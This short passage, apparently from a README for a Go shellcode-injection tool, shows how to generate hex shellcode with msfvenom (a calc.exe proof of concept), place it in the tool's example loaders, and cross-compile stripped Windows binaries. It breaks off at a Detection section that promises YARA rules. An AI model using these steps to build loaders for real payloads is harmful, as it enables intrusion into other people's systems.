Use msfvenom or any other tool to generate hex encoded shellcode:
msfvenom -p windows/x64/exec CMD=calc.exe -f hex
Place hex encoded payload within one of the example .go files replacing the content of the payload variable. You can cross compile on Linux using the following:
Linux:
env GOOS=windows go build -ldflags="-s -w" -trimpath examples/x64/uuid/uuid.go
Detection
I've written a few simple yara rules to detect binaries using go-inject: